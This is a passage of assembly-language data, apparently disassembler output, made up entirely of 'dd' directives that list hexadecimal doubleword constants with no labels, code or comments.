dd 99344CD2h, 5F73004Dh, 0C963DB24h, 0A60086A3h, 0DDB5C638h
dd 1B1E9BCh, 8C0AE1A1h, 35A5EA0Dh, 8BACC4CEh, 0CC741600h
dd 0BD62E27Ah, 0E9F10020h, 783A7347h, 7F00FA9Bh, 4CA1AB38h
dd 73FFCh, 9A18BA2Fh, 5396291h, 2E1C7F00h, 0A28D825Ah
dd 66B316C7h, 751CEA4Ch, 7EF9E8C3h, 0D513F893h, 0ED742Dh
dd 11853A41h, 0B14C64E5h, 19007377h, 8F9E78D8h, 7E497517h
dd 36EF00DAh, 61EBB4Eh, 5F0B530Ch, 806A0438h, 847E14B9h
dd 79B0B67h, 47801FC7h, 31D8CDE9h, 87009372h, 2D9D8E6Ch
dd 1803A958h, 50E111F7h, 950FB7EEh, 0DFA3495Dh, 0F1D9ED40h
dd 3F0C9D8h, 0E884C776h, 8AF8CCB6h, 16002D60h, 0FCA69044h
dd 3F235Dh, 7E3DE92Fh, 0BE1F2AB1h, 61FF3907h, 0A0CEC2B0h
dd 20939FBFh, 0D75C5h, 3610F7BBh, 7A78FA11h, 4587B200h
dd 47CC1EF5h, 71B80977h, 8880E156h, 63BF480Bh, 8CC18818h
dd 959780h, 29E02019h, 0F861336Bh, 0A5FD1207h, 0B9A3AF5Eh
dd 0A739F9C2h, 4DF01083h, 0F4A023B0h, 0BC001CBDh, 0EBE2228Ah
dd 145D2F65h, 0CF3DFA46h, 87FE1Fh, 0F4528A4Ah, 530335D8h
dd 133909E8h, 0E0EAF33Ah, 39C848Fh, 0EFA40D85h, 3DB7F59h
dd 0AB78C7F0h, 34662A2Eh, 0D07EE007h, 5B7FE06Eh, 140F44h
dd 0D6428952h, 0EA9B0EE7h, 70FE3500h, 0E0B2CE81h, 0B3340014h
dd 955BD25Fh, 0D17BF6E5h, 429E4400h, 7A4EF355h, 72C70025h
dd 48A428E8h, 0CF043A43h, 7DDE06E1h, 1E694490h, 38900358h
dd 0B4ACF2B3h, 13C2BA88h, 1974F401h, 85704A0Bh, 94E0CF0h
dd 0D0780967h, 0C2FF6C00h, 860096A5h, 1156611Bh, 5832938Bh
dd 3763B34h, 28D66D99h, 17C0196Bh, 97009D09h, 0B8C83C83h
dd 4A658Dh, 6D62CEEAh, 961971E4h, 3C339F01h, 0C7EB987Ch
dd 0ECB6CCh, 0ABDECD13h, 0F4A4F284h, 4DD84700h, 7037725Ch
dd 7A4B1F6Bh, 40B06454h, 79CB909Dh, 0F6871A00h, 760371Eh
dd 0B46800D9h, 0AF03EEDEh, 102C2BCBh, 23037C54h, 0D86B0E75h
dd 0F2FDFEh, 6C72ED8h, 5191C533h, 27AB4C03h, 0B0698BB6h
dd 0DCCB22h, 722399B4h, 0A8802DD7h, 3C20AD3Fh, 8C528026h
dd 31433FE2h, 51CAB86Dh, 2083D498h, 0A961F244h, 285654F0h
dd 7B482700h, 0AAF71D81h, 1EE05ECh, 204A2482h, 94CD03CCh
dd 0B17C801h, 1BC40862h, 51F2EC40h, 57F80EC6h, 9F9F6F98h
dd 183E003Fh, 50328C1Ah, 80106938h, 0B741BB75h, 0B0E2DBF8h
dd 39E40008h, 56B4A8B1h, 4B0028F7h, 0C676D038h, 31F309h
dd 220089Dh, 2CA6E445h, 5B254800h, 0EBB70A24h, 0E2F80095h
dd 0B8D9D03Ah, 0EA000263h, 0BB24DBBCh, 14DC80D2h, 0B0B35E74h
dd 62353380h, 15006106h, 1F0E2E37h, 0EDD5DDFh, 4F0149D1h
dd 55C7B0EFh, 0A35030C4h, 11006AADh, 69D73977h, 0FAC91E4h
dd 330EEC2Fh, 170FC4E0h, 0C00EB46h, 1BDECF23h, 3AB58480h
dd 21804E40h, 7837DF66h, 0FF05702Ch, 0DDFE976Eh, 13F5F780h
dd 0C9491F76h, 0D76000A2h, 3420980h, 5966E300h, 738F84EAh
dd 48DD0046h, 0A64BFD98h, 38FE78CCh, 0ED6D350Eh, 27F9C3F1h
dd 6FC0954Eh
dd 6F4352h, 0DA67EE5h, 99AFC582h, 91BD3E01h, 0B3315B97h
dd 0F987B30h, 3B89F0CCh, 0C7A10665h, 0B66A80h, 85CD4FB8h
dd 0C3002DE8h, 4353AF24h, 0F7B4C7h, 0A2F0B3ABh, 33F8B23Ah
dd 81058400h, 5D8E209Fh, 0EB39007Ch, 2889CC78h, 0FC0154FFh
dd 0E518349h, 23C8F42Dh, 3A3E903Dh, 0DC00E941h, 0C748689Dh
dd 4C00FBDEh, 0BADF8281h, 240B22h, 1118F41Dh, 8DE10C74h
dd 144C2C79h, 5CBC00B8h, 0B56C0480h, 0F9FB00A5h, 29CBF2B1h
dd 0C3030B8Bh, 0CC0A2676h, 0EAB4C8D2h, 7EE71F1Fh, 1A1BC0E3h
dd 3F221C3Ch, 40E59225h, 0C6613Bh, 50357495h, 1BA85AF1h
dd 0A2DE4A00h, 5C644204h, 0EED7033h, 6BB9F80Fh, 0CD295B40h
dd 0D0051C4h, 31F22B5Dh, 2803E4CCh, 0CD3E4Fh, 7D241204h
dd 0DB520E5Eh, 89292000h, 1B19E3EDh, 482DF275h, 0D90EBA86h
dd 8860A7BBh, 3A9DF880h, 7C223900h, 0B11931AAh, 5BFCDEh
dd 0A035B80Bh, 4059834Bh, 9DD6490Fh, 0E33EC0FBh, 16E1016h
dd 0C007B065h, 0FC2C8067h, 0DD009FF1h, 0F3CBE4B8h, 43D6Bh
dd 5ADE3550h, 2B62CC32h, 7CB72000h, 3F70D14Eh, 99DC6024h
dd 2A73ED6Ah, 6CF88A01h, 1E709D99h, 0E2C3C0E6h, 77820102h
dd 89370330h, 7C32D822h, 353BE107h, 21101207h, 0EBC5Fh
dd 681D1429h, 69E62057h, 0EA3FCC00h, 5BA13D0Bh, 0DC4A00F0h
dd 0BF2BA524h, 9C00F3D7h, 0E095871Ch, 0D6AAE3h, 4B9896A8h
dd 0BF928371h, 4222F600h, 739F2A44h, 4A840062h, 360E1A55h
dd 9E0056CCh, 0D3C53F7Eh, 1CAA5771h, 0CE5D5190h, 1720A942h
dd 0CCB18325h, 0F734CB02h, 0E0FFD7E4h, 5F50F1h, 0FE0A0E85h
dd 0A4A6366Dh, 176A7600h, 0AB01942Ah, 0EB4112AEh, 1AC1F42h
dd 0F1FD953Fh, 0E392C43Ch, 0F77D7801h, 5A9984D6h, 151FC8h
dd 79E0C30h, 1E4DE0FFh, 1F89D52Eh, 2078F10Fh, 79E39CB1h
dd 3F62F264h, 0CD3A3A17h, 152ADC83h, 1AF40C6h, 20AF3CEEh
dd 0BA58311Ah, 4E1707DCh, 23F00511h, 101D38Dh, 29388978h
dd 0C4CBE664h, 56001A7Eh, 6442D77h, 38CB250h, 0DA1D19B7h
dd 0F28F6EDBh, 84042EAh, 730F9423h, 0E09F77A2h, 859A4BADh
dd 0E17F24h, 0A776FEC7h, 0E9304A12h, 17432507h, 828050C2h
dd 0F24510F5h, 71DB00A3h, 5EEDF38Fh, 12005A74h, 0B384C8CEh
dd 90C14Ah, 0F3C6A24Dh, 0CDF9EEFh, 0CBA44450h, 0E247AF00h
dd 9C56FFC9h, 154EAFDh, 0EADDC02Ch, 7042DEABh, 0E3074CD8h
dd 5F4766FCh, 8C177EC0h, 829B004Ah, 0A6B9F455h, 4300B8F0h
dd 0AE993AD6h, 281716E5h, 0E3B71Eh, 25F8188Ch, 2E7CA9A8h
dd 63EC1100h, 2A333AFFh, 4684004Dh, 0A0B556Ah, 2900231Eh
dd 9EB9F5DCh, 24266D8Ah, 758938h, 1A81C779h, 4D18B5BAh
dd 905441E8h, 0D6C83F4Fh, 691BAF80h, 0D7338847h, 9EE7EF0Eh
dd 0D5CA80BAh, 863501h, 7E40840Fh, 296B15A7h, 0E3B72C02h
dd 803419D0h, 5A56AEACh, 2B018775h, 0C6D4B60Ch, 0E488A960h
dd 518C0E21h, 0C7803C0Ah, 875660Dh, 3994F405h, 0C001D620h
dd 0B9FFD368h, 70E4DF8h, 0DAAD6A82h, 0B436A008h, 37B02A96h
dd 5DED9C00h, 0EEF646A7h, 0AF9000BFh, 7C6FB2C9h, 4100FDD8h
dd 33CF6D91h, 485482h, 347BB3D3h, 2178E25Bh, 3602C000h
dd 0A493C7E8h, 313707EBh, 60CF04D8h, 974587B6h, 430A148h
dd 8EBD96FCh, 0D44400EEh, 0FF2723Ch, 0D7203Ah, 29ED2FB5h
dd 0F005F9h, 927DD660h, 3B9B046Bh, 9C33A000h, 0F18E7F52h
dd 0F43C00C9h, 0A6158B62h, 21024EF9h, 4D9AA70Ch, 8DD480A9h
dd 0C877AEh, 0E8AB489Bh, 98DDE5EBh, 3036A807h, 1A108F8Bh
dd 84432Fh, 0FC01E176h, 1DC9EBB9h, 63B3CD00h, 6E79787Eh
dd 0A04000ABh, 0C2DD3103h, 0BE00F1D8h, 3FB9344Ch, 0BB7BFAh
dd 0BCB216A1h, 8ED1E7F5h, 6C83EF00h, 0E803F226h, 1B07009Fh
dd 74786A9Eh, 0C400779Ch, 15702135h, 3E90A91h, 34C59B01h
dd 0BD806F59h, 0E838A7D2h, 0A1F000A0h, 801CFCBEh, 189001B2h
dd 0D26FC07Bh, 0C94FE448h, 25FA6707h, 0F2009CA2h, 3A883197h
dd 46008A66h, 186C0AAFh, 0F50042FFh, 6AA6371Eh, 0B2C78Dh
dd 0A9E59DEh, 0EF012060h, 13637507h, 3F08838h, 0DB74ECh
dd 6DCAA21Eh, 0C52FC6FFh, 0C00AA2B0h, 0FC541F68h, 29828C3Ah
dd 0E54013h, 33374120h, 9B3DD326h, 1A00E071h, 0FF2C97B5h
dd 0E50A07h, 0DCB4281Dh, 1E274FA3h, 166DAD00h, 5CF25C7h
dd 0C6A100F5h, 5B9A2456h, 87FE5F08h, 7D3ED0B7h, 3B9013h
dd 1A4B05ABh, 4D35AA6Eh, 965C0900h, 0A9B2B825h, 8EF71D79h
dd 361283FBh, 2D80D52h, 0D80E39F8h, 1E15A21Dh, 9F7E7480h
dd 7708FE51h, 162B5C57h, 0CFEA8902h, 4AE068B8h, 14002732h
dd 0A24E2187h, 28E122h, 0FC2FA393h, 64164324h, 0C294C300h
dd 3DC480F4h, 0DEFB0007h, 0A5CE4BBFh, 29901201h, 0EFA70200h
dd 0E71845Eh, 0C06A01B8h, 5AA64DAh, 0F7DD458h, 67743E09h
dd 0E85C02F4h, 8DC806Fh, 148E9B98h, 89149C0Bh, 3F3F8D24h
dd 1E901800h, 0E83C55CDh, 41039E2Eh, 87C63A39h, 0F41A740Eh
dd 0AB644E0h, 84F80742h, 0B0794A9Dh, 0C02076BAh, 41D67B00h
dd 0D32AC585h, 0DCB200CDh, 0B7547EC6h, 0B800CE3Dh, 0AFE5FAA0h
dd 2EF554Fh, 0C1FC078Bh, 61437091h, 1634C80Eh, 0BA01F069h
dd 4FC0B117h, 2A1A30EFh, 4E00E7E2h, 0E565499Ah, 7DC2155h
dd 0A6847E8Ch, 800C29B5h, 8B78FD30h, 0FF90A071h, 76FBD500h
dd 0AF63706Eh, 87F9007Dh, 0C0513D9Eh, 370057C4h, 244F2DD6h
dd 0F9DA8E5h, 0B2A1EF26h, 6F1BD9E0h, 6300F299h, 0E6A9D328h
dd 38B7DBh, 0CC062A9Ah, 4E47711Eh, 36E7F00h, 7C02D32Ch
dd 63AF0067h, 9528D6A5h, 0A3003369h, 3101722Dh, 3796C0h
dd 13A432E5h, 0BA8CFE09h, 1EC68B01h, 213EF9E2h, 4A52D8F8h
dd 0D4ACF2h, 0B4731198h, 0FA256h, 5D3B9248h, 54B1B2EAh
dd 3ECB3D00h, 0D67C974Dh, 0A3400072h, 8B7D06F6h, 3C005FBAh
dd 0B6366AF5h, 88D359h, 99642F35h, 10B876B2h, 5F0085F6h
dd 5775C1E3h, 48B538h, 1AC73F78h, 0E9180CFDh, 4CA33200h
dd 0B26CDD09h, 0B4F150ACh, 0FEBD002Ch, 0DFFA43A4h, 2009FEFh
dd 7EB5CAC1h, 38A82468h, 1E806777h, 78A2DD53h, 0C371CC59h
dd 4AF4A900h, 694EA592h, 3D180019h, 0B7881285h, 0C60F8152h
dd 0A048F7FCh, 8D9795B6h, 7FE900D1h, 0AFE081Ah, 8400C90Ch
dd 6E9B657Eh, 364CAEDh, 5370B722h, 0EBA05D92h, 2707F8A1h
dd 79021744h, 0FACC3DB0h, 780E1D3Fh, 32EC73h, 84EBD74Ah
dd 0A11DFD5Eh, 0FD25D3h, 0BEDAE03Ah, 0A313F5h, 78502A29h
dd 0AC54E3D2h, 83A6FB00h, 43B5EDE7h, 0FDD50019h, 5AF6569Ah
dd 927D3460h, 0C8F44C2Ch, 9D0C4800h, 11891Fh, 2179C469h
dd 0FDA8B476h, 224C4700h, 6629D4F1h, 9BAE0B32h, 5C8027B0h
dd 17A85BB8h, 59BC7701h, 0F0C518CAh, 14544530h, 0C0400CC9h
dd 4628D200h, 1ED9A590h, 7DEC8C00h, 0C2D09732h, 5DC0244h
dd 3326E812h, 911DED40h, 0B6CFBE00h, 0FF21AC37h, 92EB00FEh
dd 0A68FC523h, 5D5AA940h, 0A20071E8h, 7362386Dh, 822C984Fh
dd 4800FCE3h, 177BF85Ch, 0F2B071Bh, 40BE59E7h, 84BCC781h
dd 0F4CA6C00h, 8F7D9A7Eh, 6375CBh, 663357A0h, 5580E7C2h
dd 0A705FA02h, 600798D0h, 0B61774Ch, 0D808118Fh, 0D6EAB200h
dd 5B7E720Dh, 753BAB05h, 0ECC03EB4h, 0B14F64h, 0F2AC7C68h
dd 393A7BE3h, 2CF56109h
dd 24B674A9h, 38AF00E1h, 7E8ADAF1h, 0A10EA300h, 210487FFh
dd 0AC8D0BE0h, 74809762h, 5356349Fh, 323F3100h, 0AB19CE12h
dd 0EA550030h, 37C2D554h, 717582BAh, 0B60040F2h, 8EF85264h
dd 946D7F7h, 2B32081Fh, 62F67C8Dh, 128F16B0h, 2256FE00h
dd 0F047B6h, 0FBF41611h, 0EEC1DB6Ah, 0FD0BFE00h, 1DE49DE6h
dd 5AD00134h, 413FF306h, 0FA5DE443h, 0BC528E0Eh, 0E98A00D3h
dd 0C0F0C8h, 0D5DFEA77h, 0CE6A6A7h, 6AAF2300h, 5F1F21E5h
dd 0AC770081h, 0A84F9E8Bh, 0D00A3EEh, 0D4BF9091h, 26570Ah
dd 8F0E024Dh, 3F345668h, 240D8500h, 0F223B26Bh, 19DE05B4h
dd 0C0F8DC31h, 3734F5B5h, 0E1532500h, 24CC2132h, 0EC70085h
dd 0F6399EFFh, 6600CA47h, 57FBCEB2h, 340D951h, 139D2F8Ch
dd 0BED031EFh, 5602BD0Dh, 0C27BE5C8h, 8501Eh, 0E06BC39Fh
dd 0BA88C0FAh, 61786E00h, 9CADD243h, 0F66FF829h, 675F2EA2h
dd 82D3012Ch, 0FC24BDFDh, 0B71E29E5h, 0F14030D5h, 1865971Bh
dd 701D5823h, 937A0DC0h, 471F8139h, 3D43033Ch, 0B8A6DD67h
dd 3B5BC6Dh, 1A7B72FBh, 3950348Bh, 6112D540h, 8900DCC2h
dd 137EC702h, 50E90022h, 2543D83Ah, 4498D5FEh, 0B5161D02h
dd 0E0D03F95h, 2F6A4h, 9F9B631h, 0F730B14h, 47860B8h, 3799BA00h
dd 0E6A53CA2h, 7E392C7Ch, 0DF9660C8h, 3305FD9Ch, 0EBD9EC8Bh
dd 7B2D4C0h, 1F2E8h, 32D08410h, 5A98E185h, 28687300h, 5D4B143Ah
dd 19C700D5h, 0F7B46016h, 0C002C53h, 0FA729E21h, 149B93h
dd 1CCBE6AEh, 0EA754BECh, 8738F100h, 0DE598F4Ch, 0BD8D00B5h
dd 0C5A63D5Ch, 0E0E5FE5h, 336665D0h, 3FC3981Fh, 0B8F40A3Ch
dd 3A6F8Ah, 0FDABF816h, 0D47D6063h, 0EC6C2B00h, 56A1A97Fh
dd 0C6B90F4Ch, 0FDA00D77h, 28D3FB89h, 9CD58F01h, 379AC757h
dd 432C0E0h, 0AD87684Bh, 3A04C3F0h, 0A76A64E8h, 50767D01h
dd 46264ADCh, 7710F0h, 39AF40C8h, 587133CFh, 42D43Dh, 4E57BA4Fh
dd 1EC9A860h, 0DFEA95E7h, 926340C3h, 1742C70Ah, 0FD002E77h
dd 1A2CEEC6h, 825FF3h, 657D59F4h, 6EB650B1h, 98CF4300h
dd 2E0A2FE4h, 7E720040h, 0B0BD211Eh, 0E100E0A2h, 0F8AF950h
dd 58C44131h, 0FC0337D3h, 0E8AAA3DBh, 0A8694BC0h, 0F3E9F402h
dd 622AAB79h, 219C400Ch, 0C6E8E941h, 2CA4A029h, 0C1D20030h
dd 623F1951h, 0A300E677h, 4FED1AB2h, 719FFCF4h, 0EE70038h
dd 0A4408360h, 6A004DCDh, 0D86C5822h, 1FC0BD4h, 0F631259Eh
dd 0E0088191h, 46ECCCA8h, 0D1204803h, 0B8D65D1Ah, 7DC3279h
dd 0F6AE9AAh, 0F95810D3h, 53011CB0h, 2CA015C0h, 28605138h
dd 8C0B1C72h, 8503C0EFh, 1A4A3D58h, 0E94E3900h, 1066206Eh
dd 7F5B0030h, 0CE9287AFh, 400FF40Bh, 4C113A47h, 11F98BFh
dd 0B52503F2h, 0E8A8D7F6h, 0E5305C20h, 0BF80A867h, 4E2E0047h
dd 0A1DE30A4h, 0F57DD69Dh, 6034D55Ch, 0BEBD4288h, 3C4A5901h
dd 30EB0F00h, 0C592A134h, 8E9B1901h, 0DF547851h, 0F41F2080h
dd 7534F1BAh, 7AB0903h, 58378304h, 2B00147Ch, 0E5367AB3h
dd 8F051C64h, 8A13B14Ah, 0F39B1880h, 5F78005Dh, 20A37BA6h
dd 6800FCD2h, 93E9EF73h, 4CDFBAh, 354103E7h, 940E5ECFh
dd 27912118h, 3E0514h, 1DCBA697h, 73C4BB3Fh, 0C8A57A30h
dd 0B076137Bh, 10630050h, 93F071E9h, 0BC7A8D82h, 500F0201h
dd 0E24AAAD8h, 2C7FF6F4h, 8FCB06h, 0D7A868FDh, 267A55F1h
dd 4DE8FC60h, 58D649B1h, 0E2008806h, 3622FF5Ch, 89005748h
dd 0BBEF269Ah, 38A314D4h, 0F9002C07h, 41911A80h, 0FA1FE368h
dd 7C41A066h, 5D988E76h, 84FA30h, 27698756h, 858D4F32h
dd 3700EE78h, 0DD4075BCh, 0F04AEF3Ah, 527E0018h, 10283E6Ah
dd 0B403F9F4h, 8B8E714Bh, 51BFF8D7h, 0A2B1F61h, 241705A6h
dd 0C0D91D09h, 0D1F3CA01h, 0ABFE8E81h, 0E8F03101h, 941F3E2Ch
dd 6C8BD0h, 0B9B6EFAh, 0B65771C2h, 0C409E203h, 0A2E81A8Ah
dd 0B1C84070h, 0EE3900DBh, 0E21119B3h, 0B4A3D810h, 0B67701EFh
dd 8357CC8Ch, 37E3BA00h, 1DC6A619h, 0B49C9Ch, 458F68F6h
dd 0FF00C52Eh, 0AA33531Eh, 8D6490h, 0AFDA40D4h, 0F0FDAD19h
dd 1BFEC507h, 0A5405E7Ch, 0E614F75Bh, 0DB110088h, 8FEF9538h
dd 0E8071013h, 0E47B94EBh, 0F7218670h, 2E3005Eh, 0CAB9C9EFh
dd 5B04771Dh, 24710109h, 36A43881h, 0C60E0h, 0FBBA9F46h
dd 6CB72AD8h, 0CC25BE00h, 5297A6F6h, 72E50571h, 88447919h
dd 0D005150h, 0E6CF069Bh, 0D284D1h, 9FB1B340h, 0BB6223BFh
dd 78213500h, 0F99A2459h, 0DB930EE8h, 74217C71h, 306D6838h
dd 90042E1h, 228565F4h, 7CBE4A48h, 7F37000Eh, 0F39DBBA3h
dd 2D0ED687h, 69A902h, 0EDE8D11Bh, 86930056h, 66773DFCh
dd 2800250Dh, 2CCD9A73h, 0EB3AF2F3h, 0FEC9D60h, 0CC8950C0h
dd 6801C82Eh, 405B22E4h, 6510ABC6h, 0C7B13000h, 0DD3E0901h
dd 21F03FD5h, 8315771Ch, 2E33D828h, 0E4A11DF0h, 89597007h
dd 91A0443Eh, 8DA30Ah, 0E71E1325h, 0E697EDDCh, 37C3100h
dd 35058CE9h, 6D0C1D86h, 385400E4h, 1774CA89h, 44A3490Bh
dd 0D430809Eh, 0E6BA3Ch, 0A5D01B35h, 0F439FECFh, 8928AA0Eh
dd 47F2A08Ah, 5E38E5h, 64DF7EDCh, 0D5BD7C46h, 74616A03h
dd 985A3E1Fh, 6B4983h, 0A90BA331h, 21F94340h, 0BBE58401h
dd 0D9384869h, 537EB8F3h, 98E0B62h, 2060295Ch, 2E00509Ch
dd 0A3D710E0h, 0EF7988h, 578155ADh, 0D13575B8h, 99AC6807h
dd 3E6777C1h, 199D6AD0h, 0FEE600CAh, 49344F35h, 2A1FDD65h
dd 8F1E6DD2h, 5C54B0C0h, 0D6C941h, 731145A3h, 0CFF0DD0Ah
dd 870B1000h, 2D21FF6Ch, 7D4148C7h, 0FEE1FA79h, 8EF493h
dd 0CD4B5294h, 0FAAF454Fh, 0A51F3F78h, 0C14FEE28h, 0DE3CA04Ch
dd 1D6A4767h, 40276023h, 3FA6205Fh, 0FB00B9D2h, 577B9D92h
dd 17F80CDBh, 0FEC7F7h, 0B36ACE85h, 0F400296Dh, 0D3B2A976h
dd 9037716Fh, 0F23C0045h, 0ED94B5B1h, 0F3014592h, 0DE1C5D85h
dd 14606817h, 0B5FE3D79h, 0DB2ED03h, 6EF81481h, 0C800D408h
dd 83E63B2Ch, 956944h, 41783635h, 2009A222h, 0D124FA00h
dd 0A39C0A7Ah, 564A0753h, 50368960h, 5D62F0F7h, 52C0E100h
dd 1702E676h, 0A91D002Bh, 6761644Fh, 0A700C440h, 0BC244A4Ch
dd 16373Ch, 0FCCFAEE3h, 32330793h, 0F610CA01h, 492D1CD8h
dd 2EE78060h, 0D7ECFFh, 0A72F6D8Dh, 40425DCh, 6C352768h
dd 51932280h, 5210033h, 0BAFFFCC3h, 0F9006047h, 425DA617h
dd 7CEAD5Fh, 0B309B13Ch, 391CE044h, 0D17928E3h, 36005978h
dd 0C0261757h, 624EF2h, 95C2BDB8h, 2B785FC6h, 8E79A200h
dd 0E8FE07AFh, 929D0016h, 3A433652h, 4700665Ah, 4F5EED8Ch
dd 11E982Ah, 0A9A0E4C9h, 7D2F1F2Dh, 8CA40028h, 8DEB9870h
dd 0BA710382h, 0CCED5608h, 0FDD234D0h, 17134D00h, 211A7EFFh
dd 879318D6h, 548051E5h, 0F0062F71h, 0C2926045h, 775E0026h
dd 0F5979A81h, 9C00E91Ch, 1442B1E0h, 3445815h, 0BAC38887h
dd 0DAB1CFABh, 23F8EF83h, 6100F8C6h, 0AEF41AD6h, 3AC1971h
dd 0FAE6F505h, 80E77CE3h, 0ABE7CAADh, 2072DA30h, 0C713D5h
dd 556B652Ch, 66F1E83Bh, 0E569F300h, 0A14F9FCDh, 0CE0B008Ah
dd 47230127h, 6C00D2FCh, 0FFE2DA31h, 18D9C014h, 1094EC8Ah
dd 1500C383h, 931C6386h, 0FAA8548Dh, 0E1080087h, 0F27DEF0Ch
dd 0EC021684h, 0A666D73h, 6A8CA081h, 1C029CEh
dd 2FC707CFh, 0F0168695h, 0E900F727h, 0C59605C6h, 3BB76402h
dd 0A580BA5Bh, 0CA18A32Bh, 0C3005C9Bh, 0C5966D0h, 74521Fh
dd 0D4444AB9h, 0FF168E92h, 80D32B39h, 0DDA3A4C5h, 0EF0B448h
dd 0ACD37F7h, 39B6FDA0h, 0B700C157h, 94BE08Dh, 6ED47Bh
dd 0CEC43776h, 0A710A987h, 88E2A8FCh, 0C7067800h, 5DD91E68h
dd 0B25E0311h, 4ADA18Eh, 0C5C41480h, 0BC36E400h, 9830F4C3h
dd 8074014Eh, 9A46E9DEh, 0F13AD8A5h, 0F95FF600h, 0D06CAE05h
dd 0B76900E6h, 0F47B9026h, 0D33F3EE8h, 3ABD009Bh, 56605472h
dd 3FF675C8h, 0EA805DB6h, 12B071C0h, 7B002F0Ch, 5AAD8C1Dh
dd 36A738h, 0C0342C4Ch, 0BFD5DB25h, 3200D6F8h, 4DA512CCh
dd 5EF8BFDh, 6DC5E9FFh, 3EA0C03Dh, 301C7869h, 0BD8EC78Ch
dd 4D430013h, 3111BBCh, 5FCF059Dh, 3103ED5Eh, 3B4B76C6h
dd 608998C2h, 2BE80082h, 0EF0132BFh, 3D00F0E1h, 4CA62350h
dd 7FA8DFh, 94D56E81h, 1DF875F7h, 83991300h, 61FF2AF4h
dd 1EDA00C0h, 8062BFA0h, 20764C1h, 0C79B2D14h, 32356BB0h
dd 0C5D1000Eh, 7571FAC8h, 0FF3BF33Fh, 44280E54h, 3BA0A0C9h
dd 0ED7992h, 90983D40h, 0C74D84D4h, 0D89F4926h, 0F7830800h
dd 0E96553h, 903178FBh, 6952B7D7h, 93E00B00h, 0C31D9D22h
dd 7BD7981h, 0F2766F14h, 1AAB03Dh, 123AA503h, 604E0151h
dd 58C015EAh, 4F86D029h, 848066B5h, 8807BB0Dh, 2239BDA4h
dd 0DA7C4010h, 555B0034h, 97D30EABh, 0AE3ED286h, 7A8C00FBh
dd 0F423E032h, 7E450091h, 0BF2EA7D6h, 0D5169BE4h, 14808AC6h
dd 1436021h, 663E5FF5h, 407D01FDh, 0E263E6A4h, 4EE39700h
dd 0DBA25630h, 819000CCh, 0D7BF3988h, 0B3001FB9h, 0D1E284BCh
dd 1771BDDCh, 8EF02Dh, 0D0A3178Fh, 0FEF2A4EEh, 0CC079200h
dd 70462835h, 90F400AAh, 0B12BD8A2h, 1E3F052Ah, 6567079Eh
dd 3F406A56h, 0B3A326h, 645052E2h, 0A5BF2058h, 845CDF00h
dd 1F5641BCh, 0DC311C33h, 8260012h, 4C78B16h, 0C006D71Ch
dd 0AF5D0CC0h, 67070Bh, 7D26DA32h, 0E64F79EBh, 0AEF9AD00h
dd 0D23E1373h, 0BDF100FEh, 3B4A4301h, 370062EEh, 0D1EBC4D0h
dd 19B4CA9h, 0BFE1046Ch, 0ECC021F3h, 5E00E00Fh, 0A1A6902Bh
dd 15C284h, 89A23BFEh, 0A6BDEC6h, 70D749h, 0BE2F0FB9h
dd 0F1FD61h, 0A2F70925h, 0D8FFC170h, 9EEED407h, 4560E1C5h
dd 1093E91h, 0F8A3C62Ch, 0CD046E7Bh, 0CE02CDCh, 79DFFCAFh
dd 0C6C90098h, 184493D2h, 0B890BF49h, 0CA6C5303h, 0D0ABB3F9h
dd 1516BD9h, 0D33D2843h, 0D0181BD2h, 7C484FCFh, 850079AAh
dd 6B4B73Fh, 0E15967h, 0F2C87899h, 0ACBD7FEAh, 5C690A0Ch
dd 1EFBC83Ch, 8E33C482h, 523DAAFFh, 1D544035h, 0C56A8C64h
dd 0F3C6A000h, 0C017B610h, 83BA0F7Bh, 8020C448h, 4DE3B2E5h
dd 0B843Bh, 91469DF1h, 18FB18BAh, 1209C141h, 5A03503Ch
dd 2D8E0B19h, 5C6BEA01h, 177741D0h, 0CE20FCFDh, 0BC0AA000h
dd 0DDBEB642h, 0DB68078Ch, 106EC61Ch, 0CB2D24B1h, 7E7AE106h
dd 28B852h, 0C75525CDh, 0C2037629h, 0F5210F03h, 3CA7AE68h
dd 0A001CE4h, 0A0EEE6ABh, 757F9C81h, 0F300ECEEh, 46C13150h
dd 720960h, 973D94FCh, 95FB79DAh, 0AA149A00h, 0D680F5ECh
dd 0A8D3005Bh, 68962085h, 1A057B74h, 0E67D511Fh, 67812180h
dd 0D2690004h, 2BABFB73h, 5925D521h, 0F89C68EBh, 2495B065h
dd 0E8528h, 64E46A2Ch, 0B800A2DEh, 0D25CA9FAh, 8726A3h
dd 0BF2FCE98h, 8536CCB5h, 0E943B600h, 0B49235B8h, 58A7F242h
dd 2008E5Ch, 0D43D36BFh, 26008274h, 0AFFFDFA2h, 1F01DCB2h
dd 40373406h, 0FAC1B451h, 0D90033C5h, 7B696C8h, 3FFF1F2h
dd 0AD2FB057h, 2CD802A9h, 3A4CDD19h, 372600E0h, 0E05E12EAh
dd 0EB8700A4h, 547C8069h, 0CC3E7082h, 37D10378h, 984BEFDEh
dd 2A7A30h, 630A80A7h, 827287F3h, 2DB80300h, 24525A8Eh
dd 1A7971h, 8B059B76h, 0A9A1577Eh, 2CEFA000h, 0A645F37Dh
dd 0B65E00D5h, 0C2CEB8F9h, 0E8000F33h, 7F28C49Eh, 36BE11h
dd 0D38AB9C6h, 825765C8h, 5551400h, 0F95C0B10h, 0B5B8000Dh
dd 1FD299F8h, 8F00CB41h, 0C647EF29h, 0EDC1DCh, 0CA340B13h
dd 917BF7E6h, 57A31B00h, 16D2D47Ch, 0F82000FCh, 9F8A85E1h
dd 0C27CDC61h, 0C1AD1A01h, 0D3A0B79h, 388CCE60h, 1500D9FFh
dd 9B714B03h, 0B8046345h, 3C703BDAh, 113651C0h, 0DBD83884h
dd 0C05C0980h, 56BF781Ch, 3A93AE00h, 0BAC2425Dh, 0CD7C0036h
dd 8D63E59Ah, 62007E2Dh, 1F78A46Bh, 5FB26E6Fh, 0F02EB0DDh
dd 4BF21E67h, 70FB361h, 2F910E8h, 0EF12754Fh, 0C3E01CB5h
dd 8F1FAD01h, 0CE808B65h, 8ED3516Ah, 0F1EE1F11h, 13A480C8h
dd 0E7A189FFh, 0BBA37300h, 0E4B14070h, 67790034h, 315A9661h
dd 450003B0h, 0B4BA49C8h, 0E13440Ch, 0BC52A980h, 6A701040h
dd 0E01849Bh, 0A5CDE9BEh, 96DCC17Bh, 0D5AE00D0h, 0EF64EA8Ch
dd 0B600FC6Fh, 44ED8E4Dh, 3AD7FA9h, 0D9834E81h, 9AB85C75h
dd 0C50058C1h, 0FC462C5Eh, 0B2022D8h, 98C6B988h, 0A607C400h
dd 4F6D0E4h, 3BAA9A00h, 40892805h, 127C00E0h, 4BACD4C1h
